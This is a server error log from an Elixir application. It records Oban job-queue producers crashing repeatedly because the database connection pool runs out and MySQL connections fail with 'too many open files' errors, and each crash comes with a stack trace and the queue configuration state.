State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:17:25.237955Z], limit: 20, uuid: "c99a8176-ad40-44ed-9f2d-95c32d0676fe", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:17:25.237961Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.246430>, refresh_timer: #Reference<0.2525715032.1068498948.2235>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:17:37.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2069ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:17:25.238079Z], limit: 5, uuid: "66d6a62c-a2bf-42f9-84e7-2276123cdd73", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:17:25.238084Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.14842>, refresh_timer: #Reference<0.2525715032.1099431938.14800>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:17:37.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1759ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:17:25.240569Z], limit: 50, uuid: "5c7aff09-9ae9-47d9-81f6-672fa545bce9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:17:25.240575Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.246432>, refresh_timer: #Reference<0.2525715032.1099431938.14832>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:17:37.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2043ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:17:25.240842Z], limit: 5, uuid: "9b7fb222-1782-44e9-90fa-310e62a4008e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:17:25.240847Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.2264>, refresh_timer: #Reference<0.2525715032.1068498948.2263>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:17:38.261000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:17:40.752000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:17:40.858000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:17:42.027000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:17:45.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2093ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:17:33.237282Z], limit: 10, uuid: "1c9cc7b6-a04b-4b9c-80f3-20d9e3efc7cf", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:17:33.237288Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.2357>, refresh_timer: #Reference<0.2525715032.1077411843.246620>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:17:45.613000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:17:47.393000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:17:49.424000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2037ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:17:37.238260Z], limit: 20, uuid: "94cbc85a-ddaa-48fe-a361-8b5302fc8716", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:17:37.238265Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.2520>, refresh_timer: #Reference<0.2525715032.1121189889.113985>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:17:49.423000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2090ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:17:37.239228Z], limit: 5, uuid: "6732fa1e-d81f-4705-afd7-a0066e87ffbe", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:17:37.239234Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.2517>, refresh_timer: #Reference<0.2525715032.1068498948.2509>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:17:49.424000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1856ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:17:37.238920Z], limit: 5, uuid: "ef952d94-452e-4e12-81cd-673eb540f3c4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:17:37.238926Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.2518>, refresh_timer: #Reference<0.2525715032.1068498948.2503>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:17:49.425000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1814ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:17:37.238115Z], limit: 3, uuid: "72bb81ff-eec7-4c7c-9f6d-50883f5dd683", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:17:37.238122Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.2521>, refresh_timer: #Reference<0.2525715032.1121189889.113983>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:17:49.424000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1886ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
